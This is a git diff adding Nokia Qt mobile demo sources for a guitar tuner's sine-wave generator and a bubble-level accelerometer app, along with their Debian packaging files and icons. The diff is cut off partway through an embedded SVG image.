@@ -0,0 +1,246 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "voicegenerator.h"
+
+const int BufferSizeMilliseconds = 100;
+
+VoiceGenerator::VoiceGenerator(const QAudioFormat &format,
+ qreal frequency, qreal amplitude,
+ QObject *parent) :
+ QIODevice(parent),
+ m_format(format),
+ m_amplitude(0.5)
+{
+ Q_ASSERT(m_format.sampleSize() % 8 == 0);
+ int sampleBytes = m_format.channels() * (m_format.sampleSize() / 8);
+ // + 1 to round up, just to be sure that all samples fit.
+ qint64 samplesInBuffer = m_format.sampleRate()
+ * BufferSizeMilliseconds / 1000 + 1;
+ qint64 length = samplesInBuffer * sampleBytes;
+ m_buffer.resize(length);
+ m_max_position = 0;
+ m_position = 0;
+ m_amplitude = amplitude;
+ setFrequency(frequency);
+}
+
+VoiceGenerator::~VoiceGenerator()
+{
+}
+
+/**
+ * Opens the parent QIODevice.
+ */
+void VoiceGenerator::start()
+{
+ open(QIODevice::ReadOnly);
+}
+
+/**
+ * Closes the parent QIODevice. Resets the m_position to zero.
+ */
+void VoiceGenerator::stop()
+{
+ close();
+ m_position = 0;
+}
+
+/**
+ * Sets the frequency to new frequency.
+ */
+void VoiceGenerator::setFrequency(qreal frequency)
+{
+ Q_ASSERT(1 / frequency < BufferSizeMilliseconds);
+ this->m_frequency = frequency;
+ refreshData();
+}
+
+/**
+ * Sets the amplitude for the voice.
+ */
+void VoiceGenerator::setAmplitude(qreal amplitude)
+{
+ Q_ASSERT(amplitude >= 0);
+ m_amplitude = amplitude;
+ refreshData();
+}
+
+/**
+ * Returns the current frequency.
+ */
+qreal VoiceGenerator::frequency()
+{
+ return m_frequency;
+}
+
+/**
+ * Generates voice data corresponding a sine voice with target frequency.
+ * The number of data generated is calculated
+ * and stored to m_max_position.
+ */
+void VoiceGenerator::refreshData()
+{
+ const int channelBytes = m_format.sampleSize() / 8;
+ const int sampleSize = m_format.channels() * channelBytes;
+ const qint64 voiceOscillationsInBuffer = BufferSizeMilliseconds
+ * m_frequency / 1000;
+ const qint64 voiceSamplesInBuffer = voiceOscillationsInBuffer
+ * m_format.sampleRate() / m_frequency;
+ m_max_position = voiceSamplesInBuffer * sampleSize;
+ qint64 dataGenerationLength = m_buffer.size();
+
+
+ Q_ASSERT(m_max_position % (sampleSize) == 0);
+ Q_ASSERT(dataGenerationLength <= m_buffer.size());
+
+ short *t = (short*)m_buffer.data();
+
+
+/*
+ int te ;
+ static float fpos = 0.0f;
+ //dataGenerationLength>>=1; // in words
+ for (int f=0; f<dataGenerationLength; f++) {
+ te = (short)((sinf(fpos))* (65536.0f/2.0f));
+ fpos += m_frequency/2000.0f;
+ t[f]= te;
+ };
+
+ m_amplitude = 1.0f; */
+ uchar *ptr = reinterpret_cast<uchar *>(m_buffer.data());
+ int sampleIndex = 0;
+ while (dataGenerationLength > 0) {
+ qreal realValue = 0;
+ if (sampleIndex < voiceSamplesInBuffer) {
+ realValue = m_amplitude
+ *qSin(2.0f * M_PI * m_frequency
+ * qreal(sampleIndex % m_format.sampleRate())
+ / m_format.sampleRate());
+ }
+ for (int i=0; i<m_format.channels(); ++i) {
+ setValue(ptr, realValue);
+ ptr += channelBytes;
+ dataGenerationLength -= channelBytes;
+ }
+ ++sampleIndex;
+ }
+}
+
+/**
+ * Stores the realValue into bytes pointed by ptr as an int value.
+ * Align-safe.
+ */
+void VoiceGenerator::setValue(uchar *ptr, qreal realValue) {
+ if (m_format.sampleSize() == 8)
+ {
+ quint8 value = 0;
+ if (m_format.sampleType() == QAudioFormat::UnSignedInt) {
+ value = static_cast<quint8>(
+ qRound((1.0 + realValue) / 2
+ * M_MAX_AMPLITUDE_8BIT_UNSIGNED));
+ } else if (m_format.sampleType() == QAudioFormat::SignedInt) {
+ value = static_cast<qint8>(
+ qRound(realValue
+ * M_MAX_AMPLITUDE_8BIT_SIGNED));
+ }
+ *reinterpret_cast<quint8*>(ptr) = value;
+ } else if (m_format.sampleSize() == 16) {
+ quint16 value = 0;
+ if (m_format.sampleType() == QAudioFormat::UnSignedInt) {
+ value = static_cast<quint16>(
+ qRound((1.0 + realValue) / 2
+ * M_MAX_AMPLITUDE_16BIT_UNSIGNED));
+ } else if (m_format.sampleType() == QAudioFormat::SignedInt) {
+ value = static_cast<qint16>(
+ qRound(realValue
+ * M_MAX_AMPLITUDE_16BIT_SIGNED));
+ }
+ if (m_format.byteOrder() == QAudioFormat::LittleEndian)
+ qToLittleEndian<qint16>(value, ptr);
+ else
+ qToBigEndian<qint16>(value, ptr);
+ }
+}
+
+qint64 VoiceGenerator::bytesAvailable() const
+{
+ return m_max_position + QIODevice::bytesAvailable();
+}
+
+/**
+ * Called by the QIODevice. Puts maxlen amount of voice
+ * samples into the data array.
+ */
+qint64 VoiceGenerator::readData(char *data, qint64 maxlen)
+{
+ qint64 total = 0;
+ qint64 chunk = 0;
+ while (total < maxlen) {
+ if (maxlen - total >= m_max_position - m_position) {
+ // the needed buffer is longer than the currently
+ // available buffer from m_position to the m_max_position
+ chunk = m_max_position - m_position;
+ memcpy(data, m_buffer.constData() + m_position, chunk);
+ m_position = 0;
+ }
+ else {
+ // we can copy the needed data directly, and the loop will end
+ chunk = maxlen - total;
+ memcpy(data, m_buffer.constData() + m_position, chunk);
+ m_position = (m_position + chunk) % m_max_position;
+ }
+ data += chunk;
+ total += chunk;
+ }
+ return total;
+}
+
+/**
+ * Empty implementation for writeData, since no data is provided
+ * for the VoiceGenerator class.
+ */
+qint64 VoiceGenerator::writeData(const char *data, qint64 maxlen)
+{
+ Q_UNUSED(data);
+ Q_UNUSED(maxlen);
+
+ return 0;
+}
diff --git a/demos/mobile/guitartuner/src/voicegenerator.h b/demos/mobile/guitartuner/src/voicegenerator.h
new file mode 100644
index 00000000..ed2292b7
--- /dev/null
+++ b/demos/mobile/guitartuner/src/voicegenerator.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef VOICEGENERATOR_H
+#define VOICEGENERATOR_H
+
+#include <QIODevice>
+#include <QByteArray>
+#include <QAudioFormat>
+#include <QtCore/qmath.h>
+#include <QtCore/qendian.h>
+#include <QDebug>
+
+#include "constants.h"
+
+
+class VoiceGenerator : public QIODevice
+{
+ Q_OBJECT
+public:
+ VoiceGenerator(const QAudioFormat &format, qreal frequency, qreal amplitude, QObject *parent = 0);
+ ~VoiceGenerator();
+ void setFrequency(qreal frequency);
+ qint64 readData(char *data, qint64 maxlen);
+ qint64 writeData(const char *data, qint64 maxlen);
+ qint64 bytesAvailable() const;
+ qreal frequency();
+signals:
+
+public slots:
+ void setAmplitude(qreal amplitude);
+ void start();
+ void stop();
+
+private:
+ void setValue(uchar *ptr, qreal realValue);
+ void refreshData();
+ const QAudioFormat m_format;
+ // buffer to store the data
+ QByteArray m_buffer;
+ // current position in buffer
+ qint64 m_position;
+ // max position depends on the sample rate of format and the frequency of voice
+ qint64 m_max_position;
+ qreal m_amplitude;
+ qreal m_frequency;
+};
+
+#endif // VOICEGENERATOR_H
diff --git a/demos/mobile/qtbubblelevel/accelerometerfilter.cpp b/demos/mobile/qtbubblelevel/accelerometerfilter.cpp
new file mode 100644
index 00000000..b8a0eb77
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/accelerometerfilter.cpp
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <math.h>
+#include "accelerometerfilter.h"
+
+#define RADIANS_TO_DEGREES 57.2957795
+
+AccelerometerFilter::AccelerometerFilter()
+ : x(0), y(0), z(0)
+{
+}
+
+//! [0]
+bool AccelerometerFilter::filter(QAccelerometerReading *reading)
+{
+ qreal rx = reading->x();
+ qreal ry = reading->y();
+ qreal rz = reading->z();
+
+ qreal divider = sqrt(rx * rx + ry * ry + rz * rz);
+
+ // Lowpass factor
+#ifdef Q_OS_SYMBIAN
+ float lowPassFactor = 0.10;
+#else
+ float lowPassFactor = 0.05;
+#endif
+
+ // Calculate the axis angles in degrees and reduce the noise in sensor
+ // readings.
+ x += (acos(rx / divider) * RADIANS_TO_DEGREES - 90 - x) * lowPassFactor;
+ y += (acos(ry / divider) * RADIANS_TO_DEGREES - 90 - y) * lowPassFactor;
+ z += (acos(rz / divider) * RADIANS_TO_DEGREES - 90 - z) * lowPassFactor;
+
+ // The orientations of the accelerometers are different between
+ // Symbian and Maemo devices so we use the different axes
+ // depending on the platform.
+#if defined(Q_OS_SYMBIAN)
+ emit rotationChanged(-y);
+#else
+ emit rotationChanged(x);
+#endif
+
+ // Don't store the reading in the sensor.
+ return false;
+}
+//! [0]
diff --git a/demos/mobile/qtbubblelevel/accelerometerfilter.h b/demos/mobile/qtbubblelevel/accelerometerfilter.h
new file mode 100644
index 00000000..006df84f
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/accelerometerfilter.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ACCELEROMETERFILTER_H
+#define ACCELEROMETERFILTER_H
+
+//! [0]
+#include <QAccelerometerFilter>
+#include <QVariant>
+
+QTM_USE_NAMESPACE
+
+class AccelerometerFilter
+ : public QObject, public QAccelerometerFilter
+{
+ Q_OBJECT
+
+protected:
+ qreal x;
+ qreal y;
+ qreal z;
+
+public:
+ AccelerometerFilter();
+ bool filter(QAccelerometerReading *reading);
+
+signals:
+ void rotationChanged(const QVariant &deg);
+};
+//! [0]
+
+#endif // ACCELEROMETERFILTER_H
diff --git a/demos/mobile/qtbubblelevel/debian/changelog b/demos/mobile/qtbubblelevel/debian/changelog
new file mode 100644
index 00000000..0413145a
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/changelog
@@ -0,0 +1,19 @@
+qtbubblelevel (1.2.0) stable; urgency=low
+
+ * Improved the usability of the calibration dialog.
+
+ -- Forum Nokia <FN.Documentation@nokia.com> Wed, 16 Feb 2011 12:59:30 +0100
+
+qtbubblelevel (1.1.0) stable; urgency=low
+
+ * QtMobility Rotation sensor support
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 15 Jun 2010 9:03:02 +0100
+
+
+qtbubblelevel (1.0.0) unstable; urgency=low
+
+ * Initial release
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 15 Jun 2010 9:03:02 +0100
+
diff --git a/demos/mobile/qtbubblelevel/debian/compat b/demos/mobile/qtbubblelevel/debian/compat
new file mode 100644
index 00000000..7f8f011e
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/compat
@@ -0,0 +1 @@
+7
diff --git a/demos/mobile/qtbubblelevel/debian/control b/demos/mobile/qtbubblelevel/debian/control
new file mode 100644
index 00000000..59803270
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/control
@@ -0,0 +1,12 @@
+Source: qtbubblelevel
+Section: user/games
+Priority: extra
+Maintainer: Forum Nokia <FN.Documentation@nokia.com>
+Build-Depends: debhelper (>= 5), libqt4-dev, libqtm-sensors
+Standards-Version: 3.7.3
+
+Package: qtbubblelevel
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Description: Qt Bubble Level example
+ QtQuick example
diff --git a/demos/mobile/qtbubblelevel/debian/copyright b/demos/mobile/qtbubblelevel/debian/copyright
new file mode 100644
index 00000000..e8dea63d
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/copyright
@@ -0,0 +1,36 @@
+This package was debianized by unknown <anonymous@digia.com> on
+Tue, 15 Jun 2010 9:03:02 +0100.
+
+It was downloaded from <fill in http/ftp site>
+
+Upstream Author: <put author(s) name and email here>
+
+Copyright: <put the year(s) of the copyright, and the names of the
+ copyright holder(s) here>
+
+License:
+
+ This package is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2 of the License, or (at your option) any later version.
+
+ This package is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this package; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+On Debian systems, the complete text of the GNU Lesser General
+Public License can be found in `/usr/share/common-licenses/LGPL'.
+
+
+The Debian packaging is (C) 2010, unknown <anonymous@digia.com> and
+is licensed under the GPL, see `/usr/share/common-licenses/GPL'.
+
+
+# Please also look if there are files or directories which have a
+# different copyright/license attached and list them here.
diff --git a/demos/mobile/qtbubblelevel/debian/dirs b/demos/mobile/qtbubblelevel/debian/dirs
new file mode 100644
index 00000000..80507f10
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/dirs
@@ -0,0 +1,2 @@
+usr/bin
+usr/share/applications/hildon
diff --git a/demos/mobile/qtbubblelevel/debian/files b/demos/mobile/qtbubblelevel/debian/files
new file mode 100644
index 00000000..3d432422
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/files
@@ -0,0 +1 @@
+qtbubblelevel_1.2.0_armel.deb user/games extra
diff --git a/demos/mobile/qtbubblelevel/debian/postinst b/demos/mobile/qtbubblelevel/debian/postinst
new file mode 100644
index 00000000..79fb6ddd
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/postinst
@@ -0,0 +1,5 @@
+#!/bin/sh -e
+
+gtk-update-icon-cache -f /usr/share/icons/hicolor
+
+exit 0
diff --git a/demos/mobile/qtbubblelevel/debian/rules b/demos/mobile/qtbubblelevel/debian/rules
new file mode 100644
index 00000000..f18b9cd8
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/debian/rules
@@ -0,0 +1,91 @@
+#!/usr/bin/make -f
+# -*- makefile -*-
+# Sample debian/rules that uses debhelper.
+# This file was originally written by Joey Hess and Craig Small.
+# As a special exception, when this file is copied by dh-make into a
+# dh-make output file, you may use that output file without restriction.
+# This special exception was added by Craig Small in version 0.37 of dh-make.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+
+
+
+
+configure: configure-stamp
+configure-stamp:
+ dh_testdir
+ # Add here commands to configure the package.
+
+ touch configure-stamp
+
+
+build: build-stamp
+
+build-stamp: configure-stamp
+ dh_testdir
+
+ # Add here commands to compile the package.
+ $(MAKE)
+ #docbook-to-man debian/qtbubblelevel.sgml > qtbubblelevel.1
+
+ touch $@
+
+clean:
+ dh_testdir
+ dh_testroot
+ rm -f build-stamp configure-stamp
+
+ # Add here commands to clean up after the build process.
+ $(MAKE) clean
+
+ dh_clean
+
+install: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ # Add here commands to install the package into debian/qtbubblelevel.
+ $(MAKE) INSTALL_ROOT="$(CURDIR)"/debian/qtbubblelevel install
+
+
+# Build architecture-independent files here.
+binary-indep: build install
+# We have nothing to do by default.
+
+# Build architecture-dependent files here.
+binary-arch: build install
+ dh_testdir
+ dh_testroot
+ dh_installchangelogs
+ dh_installdocs
+ dh_installexamples
+# dh_install
+# dh_installmenu
+# dh_installdebconf
+# dh_installlogrotate
+# dh_installemacsen
+# dh_installpam
+# dh_installmime
+# dh_python
+# dh_installinit
+# dh_installcron
+# dh_installinfo
+ dh_installman
+ dh_link
+# dh_strip
+ dh_compress
+ dh_fixperms
+# dh_perl
+ dh_makeshlibs
+ dh_installdeb
+ dh_shlibdeps
+ dh_gencontrol
+ dh_md5sums
+ dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install configure
diff --git a/demos/mobile/qtbubblelevel/icons/26x26/qtbubblelevel.png b/demos/mobile/qtbubblelevel/icons/26x26/qtbubblelevel.png
new file mode 100644
index 00000000..ae34ccf5
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/26x26/qtbubblelevel.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/icons/40x40/qtbubblelevel.png b/demos/mobile/qtbubblelevel/icons/40x40/qtbubblelevel.png
new file mode 100644
index 00000000..6230f55e
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/40x40/qtbubblelevel.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/icons/64x64/qtbubblelevel.png b/demos/mobile/qtbubblelevel/icons/64x64/qtbubblelevel.png
new file mode 100644
index 00000000..375326c0
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/64x64/qtbubblelevel.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/icons/bubblelevel.svg b/demos/mobile/qtbubblelevel/icons/bubblelevel.svg
new file mode 100644
index 00000000..a3c30dfa
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/bubblelevel.svg
@@ -0,0 +1,264 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="128"
+ height="128"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.48.0 r9654"
+ sodipodi:docname="bubblelevel.svg">
+ <defs
+ id="defs4" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="0.98994949"
+ inkscape:cx="599.30983"
+ inkscape:cy="93.17066"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1680"
+ inkscape:window-height="1003"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title></dc:title>
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(0,-924.36218)">
+ <image
+ y="923.61945"
+ x="0.05510572"
+ id="image2993"
+ xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACBCAYAAAAIYrJuAAAABHNCSVQICAgIfAhkiAAAIABJREFU
+eJztvU2SJEmu3/mDqpq5R2ZWP3b3UPhEuBiZWcysZnZzBS5IEV6D5+OCPAIPwPXshiJk83V3VX5E
+hLuZKsAFoGoWEe5RFZHZ8/hEHCVeHunuZqYfUOAPKACFG93oRje60Y1udKMb3ehGN7rRjW50oxvd
+6EY3utGNbnSjG93oRje60Y1udKMb3ehGN7rRjW50oxvd6EY3utGNbnSjG93oRje60Y1udKMb3ehG
+N7rRjW50oxvd6EY3utGNbnSjG93oRje60Y1udKMb3ehGN7rRPzLJf/p//8O/M7N//ZaLkkDJgBmm
+App4eFz473/6C8tSubv7wO//8Ed++ukDpitNG5IgiQF29b6KXnoaWPL3C1eYsrunIAApAfryWXF7
+w1C79CxIkvpdfgi99qwskJPF7wAV1Hx8cyqIZCDxyy+/8Kd/+DOocrg78Id/8QeOHw4Xn4Vy9XnP
+SUT+Y1nq+n+L2b99S6dEQJv6MFnCNLEsZx4fH1mWFZHE+fRAycZ5eaTWhZQSkpwB5ML4ml1hDBN8
+8l8ywPNrJG4s4wF28fdmdvF5IrK79sfRpecJzqdJOlcK208EkUQpMyVPnE5nltPJ75GEZTmTp5ft
+NOI519fYM5L/r9zff37DBb15RkJJIogUtMHnz/f8w1/+G6fHhd/99He0dubzl4lffvkrD4/3lJJ9
+YcILBvCOX2MA8MmXeD1ry27S+t/+etri7ffXGeD5/X4EvfasJF0q+u9UYVu8wt3dB/7ud/+Mb9/u
++ctf/oKZcffpA/PHRGN58/NekAhlXR+5LF5fuQ7dGIBMa8K6nqjriXU983jK8LmBGJ9/+Sun0yNl
+yqQkb+U1J7s8+YiQU0JSQkRcfMcEpt3nPp/+Lp2R5FJLLjHP95FZlzwXJI4ZQsPUUMPf1d/N4HQ+
+o2qcTwvLumBqlCWzrmfWelki/ubJ9ysoZg2jvalTCYNkGKCqmAkijTIJeQW1hfuHhXVdOZ0eUF0R
+LSiJaxJKkItz3L+9/Knjg0RCSIiYy1VJkCGXvDHEXjokZ5aL95T0N2CAyzrZtGFtDQZQtIGooWq0
+pqx15dv9N1p1DCWSkAQqDbX14sPM7LcvMjPKspy9w2/otGBoUsTATDBN1HamtYVaz7RWMVNqqzRd
+8SmvmCX0iig34RXRe+VzMUzi2gQkQZKRkjneSAoxoZL2DABXVY7Ym8biV8mAa+oGi8YbNAFRTAwT
+xVCqGo/nR7Qpa22kJFTN1Hqm1guPUuM3T7+BiFHW9vgK6r228gxNLRggYSos64m1LjhDyQZIMNf9
+0TGurLyUXhO9drEtIoYk9dWRgByTK7iCDUvAXGYFo7saej5MMv6vV/v9Vur4/tq0CApiqBmG+n8W
+0sAUVWit0apSWyPnzKSZWhfW9eUdX5M2l/tkFGvtovHVL0oX5sswaC1ETkKrUOuKWuvfevfFSLE6
+JcC8q3N7wnSus11vX6Zrq9XnWcSZAWko6qoBSOTAjoolQUXDzOvj0cEj4/11VfQ2ElxCSoDcp1jX
+fLXHxLfBAM4EzVowgzNBrQ1JLi1UG61dkKK/ggH2+Kar4qJoNOryCjO7NCnebLHtof3BKQtCiu66
+OE3JX5qCoWQbfx9wIec0QNzzZ71qpqSAsGLBCADNH5itz+oQ7ZZ0ZzXsB2ZnTVx/2puoy62OAaXr
+5yfv/mVnhZ0sGPKrf05yVbZJ16dP83m43JZt4vcmslH8y2uASK6sCEEsQBcbAs+pkFIbA2moi2mx
